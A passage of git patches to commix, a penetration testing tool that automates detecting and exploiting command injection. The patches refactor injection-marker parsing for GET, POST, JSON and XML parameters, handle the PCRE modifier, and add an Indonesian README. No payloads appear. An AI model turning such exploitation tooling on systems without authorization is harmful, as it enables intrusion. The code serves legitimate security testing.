+ parameter = parameter.replace(settings.INJECT_TAG, settings.WILDCARD_CHAR)
if not settings.PCRE_MODIFIER in parameter:
if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]:
while True:
message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. "
- message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + parameter[:-1].split("=")[1] + settings.PCRE_MODIFIER + "') [Y/n] > "
+ message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + parameter.split("=")[1] + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > "
modifier_check = common.read_input(message, default="Y", check_batch=True)
if modifier_check in settings.CHOICE_YES:
- return parameter[:-1] + settings.PCRE_MODIFIER
+ return original_parameter + settings.PCRE_MODIFIER[1:2]
elif modifier_check in settings.CHOICE_NO:
- return parameter
+ return original_parameter
elif modifier_check in settings.CHOICE_QUIT:
print(settings.SINGLE_WHITESPACE)
os._exit(0)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 46c2a0acd3..0a1e3c2fa7 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -731,7 +731,7 @@ def basic_level_checks():
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
settings.CUSTOM_HEADER_INJECTION = None
-
+
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
get_request(url, http_request_method, filename, timesec)
diff --git a/src/core/main.py b/src/core/main.py
index d2e21162fb..ec489abfb8 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -60,74 +60,6 @@
# Use Colorama to make Termcolor work on Windows too :)
init()
-"""
-Check for custom injection marker (*)
-"""
-def check_custom_injection_marker(url):
- parameter = ""
- if url and settings.WILDCARD_CHAR in url:
- option = "'-u'"
- settings.WILDCARD_CHAR_APPLIED = True
- parameter = parameters.do_GET_check(url, http_request_method)
- parameter = parameters.vuln_GET_param(parameter[0])
- elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data:
- option = "POST body"
- settings.WILDCARD_CHAR_APPLIED = True
- parameter = parameters.do_POST_check(menu.options.data, http_request_method)
- parameter = parameters.vuln_POST_param(parameter, url)
- else:
- option = "option '--headers/--user-agent/--referer/--cookie'"
- if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie:
- settings.WILDCARD_CHAR_APPLIED = True
- menu.options.level = settings.COOKIE_INJECTION_LEVEL
- cookie = parameters.do_cookie_check(menu.options.cookie)
- parameter = parameters.specify_cookie_parameter(cookie)
-
- elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent:
- settings.WILDCARD_CHAR_APPLIED = True
- menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
- parameter = "user-agent"
-
- elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer:
- settings.WILDCARD_CHAR_APPLIED = True
- menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
- parameter = "referer"
-
- elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers:
- _ = True
- for data in menu.options.headers.split("\\n"):
- # Ignore the Accept HTTP Header
- if not data.startswith(settings.ACCEPT):
- _ = False
- if _:
- settings.WILDCARD_CHAR_APPLIED = True
- menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
- parameter = parameters.specify_custom_header_parameter(settings.WILDCARD_CHAR)
-
- if settings.WILDCARD_CHAR_APPLIED:
- if menu.options.test_parameter:
- if not settings.MULTI_TARGETS or settings.STDIN_PARSING:
- err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") "
- err_msg += "cannot be used simultaneously (i.e. only one option must be set)."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit
-
- while True:
- message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". "
- message += "Do you want to process it? [Y/n] > "
- procced_option = common.read_input(message, default="Y", check_batch=True)
- if procced_option in settings.CHOICE_YES:
- menu.options.test_parameter = parameter
- return
- elif procced_option in settings.CHOICE_NO:
- settings.WILDCARD_CHAR_APPLIED = None
- return
- elif procced_option in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- common.invalid_option(procced_option)
- pass
-
"""
Define HTTP User-Agent header.
"""
@@ -369,7 +301,7 @@ def main(filename, url):
if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or settings.STDIN_PARSING:
settings.WILDCARD_CHAR_APPLIED = False
- check_custom_injection_marker(url)
+ checks.check_custom_injection_marker(url)
# Define the level of tests to perform.
if menu.options.level == settings.DEFAULT_INJECTION_LEVEL:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index f2c689add8..53c0b92d6c 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "41"
+REVISION = "42"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From e87efea5235b035b30756102e34f31ea56deeae0 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 19 Jan 2023 07:30:04 +0200
Subject: [PATCH 260/560] Minor update regarding commit:
https://github.com/commixproject/commix/commit/0ddba4e5fa0ea60c92134255cdb6d4ff30d62344
---
src/core/requests/parameters.py | 11 +++++++----
src/utils/settings.py | 3 ++-
2 files changed, 9 insertions(+), 5 deletions(-)
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 89ffebc764..e0cb2ed8e0 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -155,9 +155,10 @@ def multi_params_get_value(param, all_params):
urls_list.append(url)
else:
for param in range(0,len(multi_parameters)):
- # Grab the value of parameter.
- value = re.findall(r'=(.*)', multi_parameters[param])
- value = ''.join(value)
+ value = multi_params_get_value(param, multi_parameters)
+ if re.search(settings.VALUE_BOUNDARIES, value):
+ multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method)
+ value = checks.value_boundaries(multi_parameters[param], value, http_request_method)
parameter = settings.PARAMETER_DELIMITER.join(multi_parameters)
# Reconstruct the URL
url = url_part + "?" + parameter
@@ -182,6 +183,7 @@ def vuln_GET_param(url):
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
+ settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES:
settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE)
@@ -400,6 +402,7 @@ def vuln_POST_param(parameter, url):
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
+ settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES:
settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE)
@@ -427,7 +430,7 @@ def prefixes(payload, prefix):
# Check if defined "--prefix" option.
testable_value = settings.TESTABLE_VALUE
- if settings.WILDCARD_CHAR_APPLIED:
+ if settings.WILDCARD_CHAR_APPLIED and len(settings.POST_WILDCARD_CHAR) != 0:
testable_value = ""
if menu.options.prefix:
payload = testable_value + menu.options.prefix + prefix + payload
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 53c0b92d6c..3ed2826080 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "42"
+REVISION = "43"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
@@ -346,6 +346,7 @@ def sys_argv_errors():
# The wildcard character
WILDCARD_CHAR = "*"
WILDCARD_CHAR_APPLIED = False
+POST_WILDCARD_CHAR = ""
# Testable parameter(s) - comma separated.
TEST_PARAMETER = ""
From 5284ebdb95f83f5b3151edbe512918d270f8419b Mon Sep 17 00:00:00 2001
From: Galih Anggoro Prasetya <83481679+galihap76@users.noreply.github.com>
Date: Thu, 19 Jan 2023 20:59:04 +0700
Subject: [PATCH 261/560] Create README-idn-IDN.md
---
doc/translations/README-idn-IDN.md | 41 ++++++++++++++++++++++++++++++
1 file changed, 41 insertions(+)
create mode 100644 doc/translations/README-idn-IDN.md
diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md
new file mode 100644
index 0000000000..4f3855f13c
--- /dev/null
+++ b/doc/translations/README-idn-IDN.md
@@ -0,0 +1,41 @@
+
+
+
+
+
+
+
+
+
+
+
+**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://www.owasp.org/index.php/Command_Injection)**.
+
+
+
+Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixproject/commix/wiki/Screenshots) yang menunjukkan beberapa fitur di wiki.
+
+## Instalasi
+
+Anda dapat mengunduh commix di platform apa pun dengan mengkloning repositori resmi Git:
+
+ $ git clone https://github.com/commixproject/commix.git commix
+
+Atau, Anda dapat mengunduh [tarball](https://github.com/commixproject/commix/tarball/master) atau [zipball](https://github.com/commixproject/commix/zipball/master) terbaru.
+
+*__Catatan:__ **[Python](http://www.python.org/download/)** (versi **2.6**, **2.7** atau **3.x**) diperlukan untuk menjalankan commix.*
+
+
+## Penggunaan
+
+Untuk mendapatkan daftar semua opsi dan sakelar gunakan:
+
+ $ python commix.py -h
+
+Untuk mendapatkan gambaran umum tentang opsi commix yang tersedia, sakelar dan / atau ide dasar tentang cara menggunakan commix, periksa **[penggunaan](https://github.com/commixproject/commix/wiki/Usage)**, **[contoh penggunaan](https://github.com/commixproject/commix/wiki/Usage-Examples)** dan **[bypass filter](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** halaman wiki.
+
+
+## Link
+
+* Panduan: https://github.com/commixproject/commix/wiki
+* Pelacak masalah : https://github.com/commixproject/commix/issues
From 04d705e05cc8c78a7fdf2413497cd48eba8c286f Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 20 Jan 2023 08:42:39 +0200
Subject: [PATCH 262/560] Improvements regarding identifying injection marker
(i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP
headers).
---
doc/CHANGELOG.md | 5 +-
src/core/injections/controller/checks.py | 36 ++++++------
src/core/requests/parameters.py | 70 ++++++++++--------------
src/utils/settings.py | 2 +-
4 files changed, 51 insertions(+), 62 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 8609b0c023..a1937e8e5e 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.7 (TBA)
+* Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers).
* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout").
* Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected.
* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin).
@@ -95,7 +96,7 @@
* Revised: Minor improvement regarding verbose mode (i.e. debug messages).
* Fixed: Bug-fix regarding Basic HTTP authentication.
* Revised: Minor improvement regarding redirection mechanism.
-* Fixed: Bug-fix regarding defining wildcard character "*" in nested JSON objects.
+* Fixed: Bug-fix regarding defining wildcard character `*` in nested JSON objects.
* Revised: Minor improvement regarding Flatten_json (third party) module.
* Revised: Minor improvement regarding parsing nested JSON objects.
* Added: New tamper script "doublequotes.py" that adds double-quotes ("") between the characters of the generated payloads (for *nix targets).
@@ -398,7 +399,7 @@
## Version 0.8b (2016-05-06)
* Fixed: The `--file-read` option to ignore the carriage return ("\r") character in a text file.
* Added: The ability to check for empty value(s) in the defined GET/POST/Cookie(s) data and skip.
-* Replaced: The "INJECT_HERE" tag has been replaced with the "*" (asterisk) wildcard character.
+* Replaced: The "INJECT_HERE" tag has been replaced with the `*` (asterisk) wildcard character.
* Added: New option `--level` (1-3) that specifies level of tests to perform.
* Added: New option `-p` that specifies a comma-separated list of GET/POST parameter.
* Added: The ability to check every parameter in the provided cookie data.
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 3de19d9e25..7d2834d367 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -357,24 +357,26 @@ def check_boundaries_value(parameter, value, http_request_method):
"""
def PCRE_e_modifier(parameter, http_request_method):
original_parameter = parameter
- if settings.INJECT_TAG in parameter:
- parameter = parameter.replace(settings.INJECT_TAG, settings.WILDCARD_CHAR)
if not settings.PCRE_MODIFIER in parameter:
- if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]:
- while True:
- message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. "
- message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + parameter.split("=")[1] + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > "
- modifier_check = common.read_input(message, default="Y", check_batch=True)
- if modifier_check in settings.CHOICE_YES:
- return original_parameter + settings.PCRE_MODIFIER[1:2]
- elif modifier_check in settings.CHOICE_NO:
- return original_parameter
- elif modifier_check in settings.CHOICE_QUIT:
- print(settings.SINGLE_WHITESPACE)
- os._exit(0)
- else:
- common.invalid_option(modifier_check)
- pass
+ try:
+ if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]:
+ while True:
+ message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. "
+ message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('"
+ message += parameter.split("=")[1].replace(settings.INJECT_TAG, settings.WILDCARD_CHAR) + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > "
+ modifier_check = common.read_input(message, default="Y", check_batch=True)
+ if modifier_check in settings.CHOICE_YES:
+ return original_parameter + settings.PCRE_MODIFIER[1:2]
+ elif modifier_check in settings.CHOICE_NO:
+ return original_parameter
+ elif modifier_check in settings.CHOICE_QUIT:
+ print(settings.SINGLE_WHITESPACE)
+ os._exit(0)
+ else:
+ common.invalid_option(modifier_check)
+ pass
+ except Exception as ex:
+ pass
return parameter
"""
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index e0cb2ed8e0..93548f82fc 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -39,8 +39,8 @@ def do_GET_check(url, http_request_method):
"""
Grab the value of parameter.
"""
- def multi_params_get_value(param, all_params):
- value = re.findall(r'=(.*)', all_params[param])
+ def multi_params_get_value(parameter):
+ value = re.findall(r'=(.*)', parameter)
value = ''.join(value)
return value
@@ -78,6 +78,10 @@ def multi_params_get_value(param, all_params):
# Check for inappropriate format in provided parameter(s).
if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)):
checks.inappropriate_format(multi_parameters)
+
+ for param in range(len(multi_parameters)):
+ multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method)
+
# Check for empty values (in provided parameters).
if checks.is_empty(multi_parameters, http_request_method):
return urls_list
@@ -85,14 +89,11 @@ def multi_params_get_value(param, all_params):
_ = []
_.append(parameters)
parameters = ''.join(checks.check_similarities(_))
- value = re.findall(r'=(.*)', parameters)
- value = ''.join(value)
+ value = multi_params_get_value(parameters)
# Check if single parameter is supplied.
if len(multi_parameters) == 1:
if re.search(settings.VALUE_BOUNDARIES, value):
- parameters = checks.PCRE_e_modifier(parameters, http_request_method)
value = checks.value_boundaries(parameters, value, http_request_method)
- # Replace the value of parameter with INJECT_HERE tag
# Check if defined the INJECT_TAG
if settings.INJECT_TAG not in parameters:
# Ignoring the anti-CSRF parameter(s).
@@ -102,19 +103,10 @@ def multi_params_get_value(param, all_params):
parameters = parameters + settings.INJECT_TAG
else:
parameters = parameters.replace(value, value + settings.INJECT_TAG)
- # else:
- # # Auto-recognize prefix / suffix
- # if settings.INJECT_TAG in value:
- # if len(value.rsplit(settings.INJECT_TAG, 0)[0]) > 0:
- # menu.options.prefix = value.rsplit(settings.INJECT_TAG, 1)[0]
- # if len(value.rsplit(settings.INJECT_TAG, 1)[1]) > 0:
- # menu.options.suffix = value.rsplit(settings.INJECT_TAG, 1)[1]
- # parameters = parameters.replace(value, value + settings.INJECT_TAG)
# Reconstruct the URL
url = url_part + "?" + parameters
urls_list.append(url)
return urls_list
-
else:
# Check if multiple parameters are supplied without the "INJECT_HERE" tag.
all_params = settings.PARAMETER_DELIMITER.join(multi_parameters)
@@ -125,9 +117,7 @@ def multi_params_get_value(param, all_params):
if settings.INJECT_TAG not in url:
for param in range(0,len(all_params)):
# Grab the value of parameter.
- value = multi_params_get_value(param, all_params)
- if re.search(settings.VALUE_BOUNDARIES, value):
- all_params[param] = checks.PCRE_e_modifier(all_params[param], http_request_method)
+ value = multi_params_get_value(all_params[param])
for param in range(0,len(all_params)):
if param == 0 :
old = re.findall(r'=(.*)', all_params[param])
@@ -135,7 +125,7 @@ def multi_params_get_value(param, all_params):
else :
old = value
# Grab the value of parameter.
- value = multi_params_get_value(param, all_params)
+ value = multi_params_get_value(all_params[param])
if re.search(settings.VALUE_BOUNDARIES, value):
value = checks.value_boundaries(all_params[param], value, http_request_method)
# Ignoring the anti-CSRF parameter(s).
@@ -155,10 +145,7 @@ def multi_params_get_value(param, all_params):
urls_list.append(url)
else:
for param in range(0,len(multi_parameters)):
- value = multi_params_get_value(param, multi_parameters)
- if re.search(settings.VALUE_BOUNDARIES, value):
- multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method)
- value = checks.value_boundaries(multi_parameters[param], value, http_request_method)
+ value = multi_params_get_value(multi_parameters[param])
parameter = settings.PARAMETER_DELIMITER.join(multi_parameters)
# Reconstruct the URL
url = url_part + "?" + parameter
@@ -183,7 +170,10 @@ def vuln_GET_param(url):
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
- settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
+ try:
+ settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
+ except Exception:
+ pass
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES:
settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE)
@@ -219,8 +209,9 @@ def multi_params_get_value(param, all_params):
# Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided.
parameter = checks.wildcard_character(parameter).replace("'","\"")
# Check if JSON Object.
- if checks.is_JSON_check(checks.check_quotes_json_data(parameter)):
- parameter = checks.check_quotes_json_data(parameter)
+ if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)):
+ if checks.is_JSON_check(checks.check_quotes_json_data(parameter)):
+ parameter = checks.check_quotes_json_data(parameter)
if not settings.IS_JSON:
checks.process_json_data()
settings.PARAMETER_DELIMITER = ","
@@ -248,11 +239,16 @@ def multi_params_get_value(param, all_params):
except ValueError as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
+
# Check for inappropriate format in provided parameter(s).
if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \
not settings.IS_JSON and \
not settings.IS_XML:
checks.inappropriate_format(multi_parameters)
+
+ for param in range(len(multi_parameters)):
+ multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method)
+
# Check if single parameter is supplied.
if len(multi_parameters) == 1:
if settings.INJECT_TAG not in multi_parameters[0]:
@@ -274,6 +270,7 @@ def multi_params_get_value(param, all_params):
parameter = ''.join(checks.check_similarities(_))
value = re.findall(r'=(.*)', parameter)
value = ''.join(value)
+
if checks.is_empty(multi_parameters, http_request_method):
return parameter
else:
@@ -281,7 +278,6 @@ def multi_params_get_value(param, all_params):
if checks.ignore_anticsrf_parameter(parameter):
return parameter
if re.search(settings.VALUE_BOUNDARIES, value):
- parameter = checks.PCRE_e_modifier(parameter, http_request_method)
value = checks.value_boundaries(parameter, value, http_request_method)
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
@@ -309,11 +305,6 @@ def multi_params_get_value(param, all_params):
if settings.INJECT_TAG not in parameter:
if checks.is_empty(multi_parameters, http_request_method):
return parameter
- for param in range(0, len(all_params)):
- # Grab the value of parameter.
- value = multi_params_get_value(param, all_params)
- if re.search(settings.VALUE_BOUNDARIES, value):
- all_params[param] = checks.PCRE_e_modifier(all_params[param], http_request_method)
for param in range(0, len(all_params)):
if param == 0 :
if settings.IS_JSON:
@@ -355,15 +346,7 @@ def multi_params_get_value(param, all_params):
else:
for param in range(0, len(multi_parameters)):
# Grab the value of parameter.
- if settings.IS_JSON:
- value = re.findall(r'\"(.*)\"', multi_parameters[param])
- value = ''.join(value)
- if settings.IS_XML:
- value = re.findall(r'>(.*)', all_params[param])
- value = ''.join(value)
- else:
- value = re.findall(r'=(.*)', multi_parameters[param])
- value = ''.join(value)
+ value = multi_params_get_value(param, multi_parameters)
parameter = settings.PARAMETER_DELIMITER.join(multi_parameters)
return parameter
@@ -402,7 +385,10 @@ def vuln_POST_param(parameter, url):
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
- settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
+ try:
+ settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
+ except Exception:
+ pass
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES:
settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 3ed2826080..0a03dd42ae 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "43"
+REVISION = "44"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 1fba1868a2b40756a5030c7ae7ed4b8010a09675 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 22 Jan 2023 08:52:44 +0200
Subject: [PATCH 263/560] Minor update regarding commit:
https://github.com/commixproject/commix/commit/04d705e05cc8c78a7fdf2413497cd48eba8c286f
---
src/core/requests/parameters.py | 24 +++++++++++++++---------
src/utils/settings.py | 2 +-
2 files changed, 16 insertions(+), 10 deletions(-)
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 93548f82fc..d6a528f3ae 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -170,10 +170,11 @@ def vuln_GET_param(url):
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
- try:
- settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
- except Exception:
- pass
+ if settings.WILDCARD_CHAR_APPLIED:
+ try:
+ settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
+ except Exception:
+ pass
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES:
settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE)
@@ -374,7 +375,11 @@ def vuln_POST_param(parameter, url):
if re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter):
vuln_parameter = re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter)
vuln_parameter = re.findall(r"" + "([^]+)", vuln_parameter[0])
- settings.TESTABLE_VALUE = re.findall(r"" + "([^>]+)" + settings.INJECT_TAG, parameter)[0]
+ if settings.WILDCARD_CHAR_APPLIED and len(vuln_parameter) != 1 :
+ settings.POST_WILDCARD_CHAR = vuln_parameter[0]
+ settings.TESTABLE_VALUE = vuln_parameter = vuln_parameter[1]
+ else:
+ settings.TESTABLE_VALUE = re.findall(r"" + "([^>]+)" + settings.INJECT_TAG, parameter)[0]
vuln_parameter = ''.join(vuln_parameter)
# Regular POST data format.
@@ -385,10 +390,11 @@ def vuln_POST_param(parameter, url):
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
- try:
- settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
- except Exception:
- pass
+ if settings.WILDCARD_CHAR_APPLIED:
+ try:
+ settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
+ except Exception:
+ pass
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES:
settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 0a03dd42ae..6c3ab0b413 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "44"
+REVISION = "45"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From c86188f036404764a88a801cfc22e6d9449762fe Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 23 Jan 2023 08:24:46 +0200
Subject: [PATCH 264/560] Fixes
https://github.com/commixproject/commix/issues/805,
https://github.com/commixproject/commix/issues/810
---
src/core/requests/parameters.py | 2 --
src/utils/settings.py | 2 +-
2 files changed, 1 insertion(+), 3 deletions(-)
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index d6a528f3ae..9e3f169ad5 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -196,8 +196,6 @@ def do_POST_check(parameter, http_request_method):
def multi_params_get_value(param, all_params):
if settings.IS_JSON:
value = re.findall(r'\:(.*)', all_params[param])
- if re.findall(r'\\"(.*)\\"', value[0]):
- value = re.findall(r'\\"(.*)\\"', value[0])
value = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(value))
elif settings.IS_XML:
value = re.findall(r'>(.*)', all_params[param])
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 6c3ab0b413..03e0ed3988 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "45"
+REVISION = "46"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From a8b5a153df87d3216781d0b8790dd2a89eb9d1a7 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 24 Jan 2023 07:41:34 +0200
Subject: [PATCH 265/560] Minor code refactoring
---
src/core/requests/parameters.py | 13 ++-----------
src/utils/settings.py | 2 +-
2 files changed, 3 insertions(+), 12 deletions(-)
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 9e3f169ad5..9f5444a7bb 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -120,8 +120,7 @@ def multi_params_get_value(parameter):
value = multi_params_get_value(all_params[param])
for param in range(0,len(all_params)):
if param == 0 :
- old = re.findall(r'=(.*)', all_params[param])
- old = ''.join(old)
+ old = multi_params_get_value(all_params[param])
else :
old = value
# Grab the value of parameter.
@@ -306,15 +305,7 @@ def multi_params_get_value(param, all_params):
return parameter
for param in range(0, len(all_params)):
if param == 0 :
- if settings.IS_JSON:
- old = re.findall(r'\:(.*)', all_params[param])
- old = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(old))
- elif settings.IS_XML:
- old = re.findall(r'>(.*)', all_params[param])
- old = ''.join(old)
- else:
- old = re.findall(r'=(.*)', all_params[param])
- old = ''.join(old)
+ old = multi_params_get_value(param, all_params)
else :
old = value
# Grab the value of parameter.
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 03e0ed3988..c569121d1f 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
